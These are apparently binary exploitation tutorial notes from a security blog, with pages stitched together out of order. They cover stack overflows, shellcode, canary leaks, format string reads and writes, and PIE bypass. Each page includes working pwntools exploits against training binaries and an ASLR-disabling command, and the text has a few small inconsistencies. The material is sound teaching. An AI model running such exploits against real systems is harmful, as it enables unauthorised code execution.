De Bruijn sequences of order n is simply a sequence where no string of n characters is repeated. This makes finding the offset until EIP much simpler - we can just pass in a De Bruijn sequence, get the value within EIP and find the one possible match within the sequence to calculate the offset. Let's do this on the ret2win binary.

Generating the Pattern

Again, radare2 comes with a nice command-line tool (called ragg2) that can generate it for us. Let's create a sequence of length 100.

$ ragg2 -P 100 -r
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh

The -P specifies the length while -r tells it to show ascii bytes rather than hex pairs.

Using the Pattern

Now we have the pattern, let's just input it in radare2 when prompted for input, make it crash and then calculate how far along the sequence the EIP is. Simples.

$ r2 -d -A vuln

[0xf7ede0b0]> dc
Overflow me
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x41534141 code=1 ret=0

The address it crashes on is 0x41534141; we can use radare2's in-built wopO command to work out the offset.

[0x41534141]> wopO 0x41534141
52

Awesome - we get the correct value!

We can also be lazy and not copy the value.

[0x41534141]> wopO `dr eip`
52

The backticks means the dr eip is calculated first, before the wopO is run on the result of it.

In real exploits, it's not particularly likely that you will have a win() function lying around - shellcode is a way to run your own instructions, giving you the ability to run arbitrary commands on the system.

Shellcode is essentially assembly instructions, except we input them into the binary; once we input it, we overwrite the return pointer to hijack code execution and point at our own instructions!

The reason shellcode is successful is that Von Neumann architecture (the architecture used in most computers today) does not differentiate between data and instructions - it doesn't matter where or what you tell it to run, it will attempt to run it. Therefore, even though our input is data, the computer doesn't know that - and we can use that to our advantage.

Disabling ASLR

ASLR is a security technique, and while it is not specifically designed to combat shellcode, it involves randomising certain aspects of memory (we will talk about it in much more detail later). This randomisation can make shellcode exploits like the one we're about to do more less reliable, so we'll be disabling it for now using this.

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Finding the Buffer in Memory

Let's debug vuln() using radare2 and work out where in memory the buffer starts; this is where we want to point the return pointer to.

$ r2 -d -A vuln

[0xf7fd40b0]> s sym.unsafe ; pdf
[...]
; var int32_t var_134h @ ebp-0x134
[...]

This value that gets printed out is a local variable - due to its size, it's fairly likely to be the buffer. Let's set a breakpoint just after gets() and find the exact address.

[0x08049172]> dc
Overflow me
<<Found me>>                    <== This was my input
hit breakpoint at: 80491a8
[0x080491a8]> px @ ebp - 0x134
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0xffffcfb4  3c3c 466f 756e 6420 6d65 3e3e 00d1 fcf7  <<Found me>>....

[...]

It appears to be at 0xffffcfd4; if we run the binary multiple times, it should remain where it is (if it doesn't, make sure ASLR is disabled!).

Finding the Padding

Now we need to calculate the padding until the return pointer. We'll use the De Bruijn sequence as explained in the previous blog post.

$ ragg2 -P 400 -r
<copy this>

$ r2 -d -A vuln
[0xf7fd40b0]> dc
Overflow me
<<paste here>>
[0x73424172]> wopO `dr eip`
312

The padding is 312 bytes.

Putting it all together

In order for the shellcode to be correct, we're going to set context.binary to our binary; this grabs stuff like the arch, OS and bits and enables pwntools to provide us with working shellcode.

from pwn import *

context.binary = ELF('./vuln')

p = process()

Now we can use pwntools' awesome shellcode functionality to make it incredibly simple.

payload = asm(shellcraft.sh())          # The shellcode
payload = payload.ljust(312, b'A')      # Padding
payload += p32(0xffffcfb4)              # Address of the Shellcode

Yup, that's it. Now let's send it off and use p.interactive(), which enables us to communicate to the shell.

log.info(p.clean())

p.sendline(payload)

p.interactive()

$ python3 exploit.py
[*] 'vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[+] Starting local process 'vuln': pid 3606
[*] Overflow me
[*] Switching to interactive mode
$ whoami
ironstone
$ ls
exploit.py  source.c  vuln

And it works! Awesome.

Final Exploit

from pwn import *

context.binary = ELF('./vuln')

p = process()

payload = asm(shellcraft.sh())          # The shellcode
payload = payload.ljust(312, b'A')      # Padding
payload += p32(0xffffcfb4)              # Address of the Shellcode

log.info(p.clean())

p.sendline(payload)

p.interactive()

Summary

• We injected shellcode, a series of assembly instructions, when prompted for input

• We then hijacked code execution by overwriting the saved return pointer on the stack and modified it to point to our shellcode

• Once the return pointer got popped into EIP, it pointed at our shellcode

• This caused the program to execute our instructions, giving us (in this case) a shell for arbitrary command execution

A ret2win is simply a binary where there is a win() function (or equivalent); once you successfully redirect execution there, you complete the challenge.

To carry this out, we have to leverage what we learnt in the introduction, but in a predictable manner - we have to overwrite EIP, but to a specific value of our choice.

To do this, what do we need to know? Well, a couple things:

• The padding until we begin to overwrite the return pointer (EIP)

• What value we want to overwrite EIP to

Finding the Padding

This can be found using simple trial and error; if we send a variable numbers of characters, we can use the Segmentation Fault message, in combination with radare2, to tell when we overwrote EIP. There is a better way to do it than simple brute force (we'll cover this in the next post), but it'll do for now.

We get an offset of 52 bytes.

Finding the Address

Now we need to find the address of the flag() function in the binary. This is simple.

$ r2 -d -A vuln
$ afl
[...]
0x080491c3    1 43           sym.flag
[...]

The flag() function is at 0x080491c3.

Using the Information

The final piece of the puzzle is to work out how we can send the address we want. If you think back to the introduction, the As that we sent became 0x41 - which is the ASCII code of A. So the solution is simple - let's just find the characters with ascii codes 0x08, 0x04, 0x91 and 0xc3.

This is a lot simpler than you might think, because we can specify them in python as hex:

address = '\x08\x04\x91\xc3'

And that makes it much easier.

Putting it Together

Now we know the padding and the value, let's exploit the binary! We can use pwntools to interface with the binary (check out the pwntools posts for a more in-depth look).

from pwn import *        # This is how we import pwntools

p = process('./vuln')    # We're starting a new process

payload = 'A' * 52
payload += '\x08\x04\x91\xc3'

p.clean()                # Receive all the text

p.sendline(payload)

log.info(p.clean())      # Output the "Exploited!" string to know we succeeded

If you run this, there is one small problem: it won't work. Why? Let's check with a debugger. We'll put in a pause() to give us time to attach radare2 onto the process.

from pwn import *

p = process('./vuln')

payload = b'A' * 52
payload += '\x08\x04\x91\xc3'

log.info(p.clean())

pause()        # add this in

p.sendline(payload)

log.info(p.clean())

Now let's run the script with python3 exploit.py and then open up a new terminal window.

r2 -d -A $(pidof vuln)

By providing the PID of the process, radare2 hooks onto it. Let's break at the return of unsafe() and read the value of the return pointer.

[0x08049172]> db 0x080491aa
[0x08049172]> dc

<< press any button on the exploit terminal window >>

hit breakpoint at: 80491aa
[0x080491aa]> pxw @ esp
0xffdb0f7c  0xc3910408 [...]
[...]

0xc3910408 - look familiar? It's the address we were trying to send over, except the bytes have been reversed, and the reason for this reversal is endianness. Big-endian systems store the most significant byte (the byte with the largest value) at the smallest memory address, and this is how we sent them. Little-endian does the opposite (for a reason), and most binaries you will come across are little-endian. As far as we're concerned, the byte are stored in reverse order in little-endian executables.

Finding the Endianness

radare2 comes with a nice tool called rabin2 for binary analysis:

$ rabin2 -I vuln
[...]
endian   little
[...]

So our binary is little-endian.

Accounting for Endianness

The fix is simple - reverse the address (you can also remove the pause())

payload += '\x08\x04\x91\xc3'[::-1]

If you run this now, it will work:

$ python3 tutorial.py 
[+] Starting local process './vuln': pid 2290
[*] Overflow me
[*] Exploited!!!!!

And wham, you've called the flag() function! Congrats!

Pwntools and Endianness

Unsurprisingly, you're not the first person to have thought "could they possibly make endianness simpler" - luckily, pwntools has a built-in p32() function ready for use!

payload += '\x08\x04\x91\xc3'[::-1]

becomes

payload += p32(0x080491c3)

Much simpler, right?

The only caveat is that it returns bytes rather than a string, so you have to make the padding a byte string:

payload = b'A' * 52        # Notice the "b"

Otherwise you will get a

TypeError: can only concatenate str (not "bytes") to str

Final Exploit

from pwn import *            # This is how we import pwntools

p = process('./vuln')        # We're starting a new process

payload = b'A' * 52
payload += p32(0x080491c3)   # Use pwntools to pack it

log.info(p.clean())          # Receive all the text
p.sendline(payload)

log.info(p.clean())          # Output the "Exploited!" string to know we succeeded

As you can expect, programmers were hardly pleased that people could inject their own instructions into the program. The NX bit, which stands for No eXecute, defines areas of memory as either instructions or data. This means that your input will be stored as data, and any attempt to run it as instructions will crash the program, effectively neutralising shellcode.

To get around NX, exploit developers have to leverage a technique called ROP, Return-Oriented Programming.

Checking for NX

You can either use pwntools' checksec or rabin2.

Everything we have done so far is applicable to 64-bit as well as 32-bit; the only thing you would need to change is switch out the p32() for p64() as the memory addresses are longer.

The real difference between the two, however, is the way you pass parameters to functions (which we'll be looking at much closer soon); in 32-bit, all parameters are pushed to the stack before the function is called. In 64-bit, however, the first 6 are stored in the registers RDI, RSI, RDX, RCX, R8 and R9 respectively as per the . Note that different Operating Systems also have different calling conventions.

NOP (no operation) instructions do exactly what they sound like: nothing. Which makes then very useful for shellcode exploits, because all they will do is run the next instruction. If we pad our exploits on the left with NOPs and point EIP at the middle of them, it'll simply keep doing no instructions until it reaches our actual shellcode. This allows us a greater margin of error as a shift of a few bytes forward or backwards won't really affect it, it'll just run a different number of NOP instructions - which have the same end result of running the shellcode. This padding with NOPs is often called a NOP slide or NOP sled, since the EIP is essentially sliding down them.

In intel x86 assembly, NOP instructions are \x90.

Updating our Shellcode Exploit

We can make slight changes to our exploit to do two things:

• Add a large number of NOPs on the left

• Adjust our return pointer to point at the middle of the NOPs rather than the buffer start

Note that NOPs are only \x90 in certain architectures, and if you need others you can use pwntools:

Binary Exploitation is about finding vulnerabilities in programs and utilising them to do what you wish. Sometimes this can result in an authentication bypass or the leaking of classified information, but occasionally (if you're lucky) it can also result in Remote Code Execution (RCE). The most basic forms of binary exploitation occur on the stack, a region of memory that stores temporary variables created by functions in code.

When a new function is called, a memory address in the calling function is pushed to the stack - this way, the program knows where to return to once the called function finishes execution. Let's look at a basic binary to show this.

Analysis

The binary has two files - source.c and vuln; the latter is an ELF file, which is the executable format for Linux (it is recommended to follow along with this with a Virtual Machine of your own, preferably Linux).

We're gonna use a tool called radare2 to analyse the behaviour of the binary when functions are called.

The -d runs it while the -A performs analysis. We can disassemble main with

s main seeks (moves) to main, while pdf stands for Print Disassembly Function (literally just disassembles it).

The call to unsafe is at 0x080491bb, so let's break there.

db stands for debug breakpoint, and just sets a breakpoint. A breakpoint is simply somewhere which, when reached, pauses the program for you to run other commands. Now we run dc for debug continue; this just carries on running the file.

It should break before unsafe is called; let's analyse the top of the stack now:

pxw tells r2 to analyse the hex as words, that is, 32-bit values. I only show the first value here, which is 0xf7efe000. This value is stored at the top of the stack, as ESP points to the top of the stack - in this case, that is 0xff984af0.

Let's move one more instruction with ds, debug step, and check the stack again. This will execute the call sym.unsafe instruction.

Huh, something's been pushed onto the top of the stack - the value 0x080491c0. This looks like it's in the binary - but where? Let's look back at the disassembly from before:

We can see that 0x080491c0 is the memory address of the instruction after the call to unsafe. Why? This is how the program knows where to return to after unsafe() has finished.

Weaknesses

But as we're interested in binary exploitation, let's see how we can possibly break this. First, let's disassemble unsafe and break on the ret instruction; ret is the equivalent of pop eip, which will get the saved return pointer we just analysed on the stack into the eip register. Then let's continue and spam a bunch of characters into the input and see how that could affect it.

Now let's read the value at the location the return pointer was at previously, which as we saw was 0xff984aec.

Huh?

It's quite simple - we inputted more data than the program expected, which resulted in us overwriting more of the stack than the developer expected. The saved return pointer is also on the stack, meaning we managed to overwrite it. As a result, on the ret, the value popped into eip won't be in the previous function but rather 0x41414141. Let's check with ds.

And look at the new prompt - 0x41414141. Let's run dr eip to make sure that's the value in eip:

Yup, it is! We've successfully hijacked the program execution! Let's see if it crashes when we let it run with dc.

radare2 is very useful and prints out the address that causes it to crash. If you cause the program to crash outside of a debugger, it will usually say Segmentation Fault, which could mean a variety of things, but usually that you have overwritten EIP.

Summary

When a function calls another function, it

• pushes a return pointer to the stack so the called function knows where to return

• when the called function finishes execution, it pops it off the stack again

Because this value is saved on the stack, just like our local variables, if we write more characters than the program expects, we can overwrite the value and redirect code execution to wherever we wish. Functions such as fgets() can prevent such easy overflow, but you should check how much is actually being read.

Welcome to my blog! There's a lot here and it's a bit spread out, so here's a guide:

• If you're looking for the binary exploitation notes, you're in the right place! Here I make notes on most of the things I learn, and also provide vulnerable binaries to allow you to have a go yourself. Most "common" stack techniques are mentioned along with some super introductory heap; more will come soon™.

• If you're looking for my maths notes, they are split up (with some overlap):

  • Cryptography-specific maths can be found on GitBook , or by clicking the hyperlink in the header

  • All my other maths notes can be found on Notion . I realise having it in multiple locations is annoying, but maths support in Notion is just wayyy better. Like so much better. Sorry.

  • Hopefully these two get moulded into one soon

If you'd like to find me elsewhere, I'm usually down as ir0nstone. The accounts you'd actually be interested in seeing are likely or my (or X, if you really prefer).

If this resource has been helpful to you, please consider :)

And, of course, thanks to GitBook for all of their support :)

~ Andrej Ljubic

A small issue you may get when pwning on 64-bit systems is that your exploit works perfectly locally but fails remotely - or even fails when you try to use the provided LIBC version rather than your local one. This arises due to something called stack alignment.

Essentially the x86-64 ABI (application binary interface) guarantees 16-byte alignment on a call instruction. LIBC takes advantage of this and uses SSE data transfer instructions to optimise execution; system in particular utilises instructions such as movaps.

That means that if the stack is not 16-byte aligned - that is, RSP is not a multiple of 16 - the ROP chain will fail on system.

The fix is simple - in your ROP chain, before the call to system, place a singular ret gadget:

ret = elf.address + 0x2439

[...]
rop.raw(POP_RDI)
rop.raw(0x4)        # first parameter
rop.raw(ret)        # align the stack
rop.raw(system)

This works because it will cause RSP to be popped an additional time, pushing it forward by 8 bytes and aligning it.

As shown in the pwntools ELF tutorial, pwntools has a host of functionality that allows you to really make your exploit dynamic. Simply setting elf.address will automatically update all the function and symbols addresses for you, meaning you don't have to worry about using readelf or other command line tools, but instead can receive it all dynamically.

Not to mention that the ROP capabilities are incredibly powerful as well.

Overview

PIE stands for Position Independent Executable, which means that every time you run the file it gets loaded into a different memory address. This means you cannot hardcode values such as function addresses and gadget locations without finding out where they are.

Analysis

Luckily, this does not mean it's impossible to exploit. PIE executables are based around relative rather than absolute addresses, meaning that while the locations in memory are fairly random the offsets between different parts of the binary remain constant. For example, if you know that the function main is located 0x128 bytes in memory after the base address of the binary, and you somehow find the location of main, you can simply subtract 0x128 from this to get the base address and from the addresses of everything else.

Exploitation

So, all we need to do is find a single address and PIE is bypassed. Where could we leak this address from?

The stack of course!

We know that the return pointer is located on the stack - and much like a canary, we can use format string (or other ways) to read the value off the stack. The value will always be a static offset away from the binary base, enabling us to completely bypass PIE!

Double-Checking

Due to the way PIE randomisation works, the base address of a PIE executable will always end in the hexadecimal characters 000. This is because pages are the things being randomised in memory, which have a standard size of 0x1000. Operating Systems keep track of page tables which point to each section of memory and define the permissions for each section, similar to segmentation.

Checking the base address ends in 000 should probably be the first thing you do if your exploit is not working as you expected.

Stack Canaries are very simple - at the beginning of the function, a random value is placed on the stack. Before the program executes ret, the current value of that variable is compared to the initial: if they are the same, no buffer overflow has occurred.

If they are not, the attacker attempted to overflow to control the return pointer and the program crashes, often with a ***stack smashing detected*** error message.

Bypassing Canaries

There are two ways to bypass a canary.

Leaking it

This is quite broad and will differ from binary to binary, but the main aim is to read the value. The simplest option is using format string if it is present - the canary, like other local variables, is on the stack, so if we can leak values off the stack it's easy.

Source

#include <stdio.h>

void vuln() {
    char buffer[64];

    puts("Leak me");
    gets(buffer);

    printf(buffer);
    puts("");

    puts("Overflow me");
    gets(buffer);
}

int main() {
    vuln();
}

void win() {
    puts("You won!");
}

The source is very simple - it gives you a format string vulnerability, then a buffer overflow vulnerability. The format string we can use to leak the canary value, then we can use that value to overwrite the canary with itself. This way, we can overflow past the canary but not trigger the check as its value remains constant. And of course, we just have to run win().

32-bit

First let's check there is a canary:

$ pwn checksec vuln-32 
[*] 'vuln-32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Yup, there is. Now we need to calculate at what offset the canary is at, and to do this we'll use radare2.

$ r2 -d -A vuln-32

[0xf7f2e0b0]> db 0x080491d7
[0xf7f2e0b0]> dc
Leak me
%p
hit breakpoint at: 80491d7
[0x080491d7]> pxw @ esp
0xffd7cd60  0xffd7cd7c 0xffd7cdec 0x00000002 0x0804919e  |...............
0xffd7cd70  0x08048034 0x00000000 0xf7f57000 0x00007025  4........p..%p..
0xffd7cd80  0x00000000 0x00000000 0x08048034 0xf7f02a28  ........4...(*..
0xffd7cd90  0xf7f01000 0xf7f3e080 0x00000000 0xf7d53ade  .............:..
0xffd7cda0  0xf7f013fc 0xffffffff 0x00000000 0x080492cb  ................
0xffd7cdb0  0x00000001 0xffd7ce84 0xffd7ce8c 0xadc70e00  ................

The last value there is the canary. We can tell because it's roughly 64 bytes after the "buffer start", which should be close to the end of the buffer. Additionally, it ends in 00 and looks very random, unlike the libc and stack addresses that start with f7 and ff. If we count the number of address it's around 24 until that value, so we go one before and one after as well to make sure.

$./vuln-32

Leak me
%23$p %24$p %25$p
0xa4a50300 0xf7fae080 (nil)

It appears to be at %23$p. Remember, stack canaries are randomised for each new process, so it won't be the same.

Now let's just automate grabbing the canary with pwntools:

from pwn import *

p = process('./vuln-32')

log.info(p.clean())
p.sendline('%23$p')

canary = int(p.recvline(), 16)
log.success(f'Canary: {hex(canary)}')

$ python3 exploit.py 
[+] Starting local process './vuln-32': pid 14019
[*] b'Leak me\n'
[+] Canary: 0xcc987300

Now all that's left is work out what the offset is until the canary, and then the offset from after the canary to the return pointer.

$ r2 -d -A vuln-32
[0xf7fbb0b0]> db 0x080491d7
[0xf7fbb0b0]> dc
Leak me
%23$p
hit breakpoint at: 80491d7
[0x080491d7]> pxw @ esp
[...]
0xffea8af0  0x00000001 0xffea8bc4 0xffea8bcc 0xe1f91c00

We see the canary is at 0xffea8afc. A little later on the return pointer (we assume) is at 0xffea8b0c. Let's break just after the next gets() and check what value we overwrite it with (we'll use a De Bruijn pattern).

[0x080491d7]> db 0x0804920f
[0x080491d7]> dc
0xe1f91c00
Overflow me
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA
hit breakpoint at: 804920f
[0x0804920f]> pxw @ 0xffea8afc
0xffea8afc  0x41574141 0x41415841 0x5a414159 0x41614141  AAWAAXAAYAAZAAaA
0xffea8b0c  0x41416241 0x64414163 0x41654141 0x41416641  AbAAcAAdAAeAAfAA

Now we can check the canary and EIP offsets:

[0x0804920f]> wopO 0x41574141
64
[0x0804920f]> wopO 0x41416241
80

Return pointer is 16 bytes after the canary start, so 12 bytes after the canary.

from pwn import *

p = process('./vuln-32')

log.info(p.clean())
p.sendline('%23$p')

canary = int(p.recvline(), 16)
log.success(f'Canary: {hex(canary)}')

payload = b'A' * 64
payload += p32(canary)  # overwrite canary with original value to not trigger
payload += b'A' * 12    # pad to return pointer
payload += p32(0x08049245)

p.clean()
p.sendline(payload)

print(p.clean().decode('latin-1'))

64-bit

Same source, same approach, just 64-bit. Try it yourself before checking the solution.

Bruteforcing the Canary

This is possible on 32-bit, and sometimes unavoidable. It's not, however, feasible on 64-bit.

As you can expect, the general idea is to run the process loads and load of times with random canary values until you get a hit, which you can differentiate by the presence of a known plaintext, e.g. flag{ and this can take ages to run and is frankly not a particularly interesting challenge.

Format String is a dangerous bug that is easily exploitable. If manipulated correctly, you can leverage it to perform powerful actions such as reading from and writing to arbitrary memory locations.

Why it exists

In C, certain functions can take "format specifier" within strings. Let's look at an example:

int value = 1205;

printf("Decimal: %d\nFloat: %f\nHex: 0x%x", value, (double) value, value);

This prints out:

Decimal: 1205
Float: 1205.000000
Hex: 0x4b5

So, it replaced %d with the value, %f with the float value and %x with the hex representation.

This is a nice way in C of formatting strings (string concatenation is quite complicated in C). Let's try print out the same value in hex 3 times:

int value = 1205;

printf("%x %x %x", value, value, value);

As expected, we get

4b5 4b5 4b5

What happens, however, if we don't have enough arguments for all the format specifiers?

int value = 1205;

printf("%x %x %x", value);

4b5 5659b000 565981b0

Erm... what happened here?

The key here is that printf expects as many parameters as format string specifiers, and in 32-bit it grabs these parameters from the stack. If there aren't enough parameters on the stack, it'll just grab the next values - essentially leaking values off the stack. And that's what makes it so dangerous.

How to abuse this

Surely if it's a bug in the code, the attacker can't do much, right? Well the real issue is when C code takes user-provided input and prints it out using printf.

#include <stdio.h>

int main(void) {
    char buffer[30];
    
    gets(buffer);

    printf(buffer);
    return 0;
}

If we run this normally, it works at expected:

$ ./test 

yes
yes

But what happens if we input format string specifieres, such as %x?

$ ./test

%x %x %x %x %x
f7f74080 0 5657b1c0 782573fc 20782520

It reads values off the stack and returns them as the developer wasn't expecting so many format string specifiers.

Choosing Offsets

To print the same value 3 times, using

printf("%x %x %x", value, value, value);

Gets tedious - so, there is a better way in C.

printf("%1$x %1$x %1$x", value);

The 1$ between tells printf to use the first parameter. However, this also means that attackers can read values an arbitrary offset from the top of the stack - say we know there is a canary at the 6th %p - instead of sending %p %p %p %p %p %p we can just do %6$p. This allows us to be much more efficient.

Arbitrary Reads

In C, when you want to use a string you use a pointer to the start of the string - this is essentially a value that represents a memory address. So when you use the %s format specifier, it's the pointer that gets passed to it. That means instead of reading a value of the stack, you read the value in the memory address it points at.

Now this is all very interesting - if you can find a value on the stack that happens to correspond to where you want to read, that is. But what if we could specify where we want to read? Well... we can.

Let's look back at the previous program and its output:

$ ./test

%x %x %x %x %x %x
f7f74080 0 5657b1c0 782573fc 20782520 25207825

You may notice that the last two values contain the hex values of %x . That's because we're reading the buffer. Here it's at the 4th offset - if we can write an address then point %s at it, we can get an arbitrary write!

$ ./vuln 

ABCD|%6$p
ABCD|0x44434241

As we can see, we're reading the value we inputted. Let's write a quick pwntools script that write the location of the ELF file and reads it with %s - if all goes well, it should read the first bytes of the file, which is always \x7fELF. Start with the basics:

from pwn import *

p = process('./vuln')

payload = p32(0x41424344)
payload += b'|%6$p'

p.sendline(payload)
log.info(p.clean())

$ python3 exploit.py

[+] Starting local process './vuln': pid 3204
[*] b'DCBA|0x41424344'

Nice it works. The base address of the binary is 0x8048000, so let's replace the 0x41424344 with that and read it with %s:

from pwn import *

p = process('./vuln')

payload = p32(0x8048000)
payload += b'|%6$s'

p.sendline(payload)
log.info(p.clean())

It doesn't work.

The reason it doesn't work is that printf stops at null bytes, and the very first character is a null byte. We have to put the format specifier first.

from pwn import *

p = process('./vuln')

payload = b'%8$p||||'
payload += p32(0x8048000)

p.sendline(payload)
log.info(p.clean())

Let's break down the payload:

• We add 4 | because we want the address we write to fill one memory address, not half of one and half another, because that will result in reading the wrong address

• The offset is %8$p because the start of the buffer is generally at %6$p. However, memory addresses are 4 bytes long each and we already have 8 bytes, so it's two memory addresses further along at %8$p.

$ python3 exploit.py

[+] Starting local process './vuln': pid 3255
[*] b'0x8048000||||'

It still stops at the null byte, but that's not important because we get the output; the address is still written to memory, just not printed back.

Now let's replace the p with an s.

$ python3 exploit.py

[+] Starting local process './vuln': pid 3326
[*] b'\x7fELF\x01\x01\x01||||'

Of course, %s will also stop at a null byte as strings in C are terminated with them. We have worked out, however, that the first bytes of an ELF file up to a null byte are \x7fELF\x01\x01\x01.

Arbitrary Writes

Luckily C contains a rarely-used format specifier %n. This specifier takes in a pointer (memory address) and writes there the number of characters written so far. If we can control the input, we can control how many characters are written an also where we write them.

Obviously, there is a small flaw - to write, say, 0x8048000 to a memory address, we would have to write that many characters - and generally buffers aren't quite that big. Luckily there are other format string specifiers for that. I fully recommend you watch this video to completely understand it, but let's jump into a basic binary.

#include <stdio.h>

int auth = 0;

int main() {
    char password[100];

    puts("Password: ");
    fgets(password, sizeof password, stdin);
    
    printf(password);
    printf("Auth is %i\n", auth);

    if(auth == 10) {
        puts("Authenticated!");
    }
}

Simple - we need to overwrite the variable auth with the value 10. Format string vulnerability is obvious, but there's also no buffer overflow due to a secure fgets.

Work out the location of auth

As it's a global variable, it's within the binary itself. We can check the location using readelf to check for symbols.

$ readelf -s auth | grep auth
    34: 00000000     0 FILE    LOCAL  DEFAULT  ABS auth.c
    57: 0804c028     4 OBJECT  GLOBAL DEFAULT   24 auth

Location of auth is 0x0804c028.

Writing the Exploit

We're lucky there's no null bytes, so there's no need to change the order.

$ ./auth 

Password: 
%p %p %p %p %p %p %p %p %p
0x64 0xf7f9f580 0x8049199 (nil) 0x1 0xf7ff5980 0x25207025 0x70252070 0x20702520

Buffer is the 7th %p.

from pwn import *

AUTH = 0x804c028

p = process('./auth')

payload = p32(AUTH)
payload += b'|' * 6         # We need to write the value 10, AUTH is 4 bytes, so we need 6 more for %n
payload += b'%7$n'


print(p.clean().decode('latin-1'))
p.sendline(payload)
print(p.clean().decode('latin-1'))

And easy peasy:

[+] Starting local process './auth': pid 4045
Password: 

[*] Process './auth' stopped with exit code 0 (pid 4045)
(À\x04||||||
Auth is 10
Authenticated!

Pwntools

As you can expect, pwntools has a handy feature for automating %n format string exploits:

payload = fmtstr_payload(offset, {location : value})

The offset in this case is 7 because the 7th %p read the buffer; the location is where you want to write it and the value is what. Note that you can add as many location-value pairs into the dictionary as you want.

payload = fmtstr_payload(7, {AUTH : 10})

You can also grab the location of the auth symbol with pwntools:

elf = ELF('./auth')
AUTH = elf.sym['auth']

Check out the pwntools tutorials for more cool features

32-bit

The program expects the stack to be laid out like this before executing the function:

So why don't we provide it like that? As well as the function, we also pass the return address and the parameters.

Everything after the address of flag() will be part of the stack frame for the next function as it is expected to be there - just instead of using push instructions we just overwrote them manually.

from pwn import *

p = process('./vuln-32')

payload = b'A' * 52            # Padding up to EIP
payload += p32(0x080491c7)     # Address of flag()
payload += p32(0x0)            # Return address - don't care if crashes when done
payload += p32(0xdeadc0de)     # First parameter
payload += p32(0xc0ded00d)     # Second parameter

log.info(p.clean())
p.sendline(payload)
log.info(p.clean())

64-bit

Same logic, except we have to utilise the gadgets we talked about previously to fill the required registers (in this case rdi and rsi as we have two parameters).

We have to fill the registers before the function is called

from pwn import *

p = process('./vuln-64')

POP_RDI, POP_RSI_R15 = 0x4011fb, 0x4011f9


payload = b'A' * 56            # Padding
payload += p64(POP_RDI)        # pop rdi; ret
payload += p64(0xdeadc0de)     # value into rdi -> first param
payload += p64(POP_RSI_R15)    # pop rsi; pop r15; ret
payload += p64(0xc0ded00d)     # value into rsi -> first param
payload += p64(0x0)            # value into r15 -> not important
payload += p64(0x40116f)       # Address of flag()
payload += p64(0x0)

log.info(p.clean())
p.sendline(payload)
log.info(p.clean())

The Source

#include <stdio.h>

void vuln() {
    char buffer[20];

    printf("What's your name?\n");
    gets(buffer);
    
    printf("Nice to meet you ");
    printf(buffer);
    printf("\n");

    puts("What's your message?");

    gets(buffer);
}

int main() {
    vuln();

    return 0;
}

void win() {
    puts("PIE bypassed! Great job :D");
}

Unlike last time, we don't get given a function. We'll have to leak it with format strings.

Analysis

$ ./vuln-32 

What's your name?
%p
Nice to meet you 0xf7f6d080
What's your message?
hello

Everything's as we expect.

Exploitation

Setup

As last time, first we set everything up.

from pwn import *

elf = context.binary = ELF('./vuln-32')
p = process()

PIE Leak

Now we just need a leak. Let's try a few offsets.

$ ./vuln-32 
What's your name?
%p %p %p %p %p
Nice to meet you 0xf7eee080 (nil) 0x565d31d5 0xf7eb13fc 0x1

3rd one looks like a binary address, let's check the difference between the 3rd leak and the base address in radare2. Set a breakpoint somewhere after the format string leak (doesn't really matter where).

$ r2 -d -A vuln-32 

Process with PID 5548 started...
= attach 5548 5548
bin.baddr 0x565ef000
0x565f01c9]> db 0x565f0234
[0x565f01c9]> dc
What's your name?
%3$p
Nice to meet you 0x565f01d5

We can see the base address is 0x565ef000 and the leaked value is 0x565f01d5. Therefore, subtracting 0x1d5 from the leaked address should give us the binary. Let's leak the value and get the base address.

p.recvuntil('name?\n')
p.sendline('%3$p')

p.recvuntil('you ')
elf_leak = int(p.recvline(), 16)

elf.address = elf_leak - 0x11d5
log.success(f'PIE base: {hex(elf.address)}') # not required, but a nice check

Now we just need to send the exploit payload.

payload = b'A' * 32
payload += p32(elf.sym['win'])

p.recvuntil('message?\n')
p.sendline(payload)

print(p.clean().decode())

Final Exploit

from pwn import *

elf = context.binary = ELF('./vuln-32')
p = process()

p.recvuntil('name?\n')
p.sendline('%3$p')

p.recvuntil('you ')
elf_leak = int(p.recvline(), 16)

elf.address = elf_leak - 0x11d5
log.success(f'PIE base: {hex(elf.address)}')

payload = b'A' * 32
payload += p32(elf.sym['win'])

p.recvuntil('message?\n')
p.sendline(payload)

print(p.clean().decode())

64-bit

Same deal, just 64-bit. Try it out :)

Overview

ASLR stands for Address Space Layout Randomisation and can, in most cases, be thought of as libc's equivalent of PIE - every time you run a binary, libc (and other libraries) get loaded into a different memory address.

Of course, as with PIE, this means you cannot hardcode values such as function address (e.g. system for a ret2libc).

The Format String Trap

It's tempting to think that, as with PIE, we can simply format string for a libc address and subtract a static offset from it. Sadly, we can't quite do that.

When functions finish execution, they do not get removed from memory; instead, they just get ignored and overwritten. Chances are very high that you will grab one of these remnants with the format string. Different libc versions can act very differently during execution, so a value you just grabbed may not even exist remotely, and if it does the offset will most likely be different (different libcs have different sizes and therefore different offsets between functions). It's possible to get lucky, but you shouldn't really hope that the offsets remain the same.

Instead, a more reliable way is reading the .

Double-Checking

For the same reason as PIE, libc base addresses always end in the hexadecimal characters 000.

You may remember that the GOT stores the actual locations in libc of functions. Well, if we could overwrite an entry, we could gain code execution that way. Imagine the following code:

Not only is there a buffer overflow and format string vulnerability here, but say we used that format string to overwrite the GOT entry of printf with the location of system. The code would essentially look like the following:

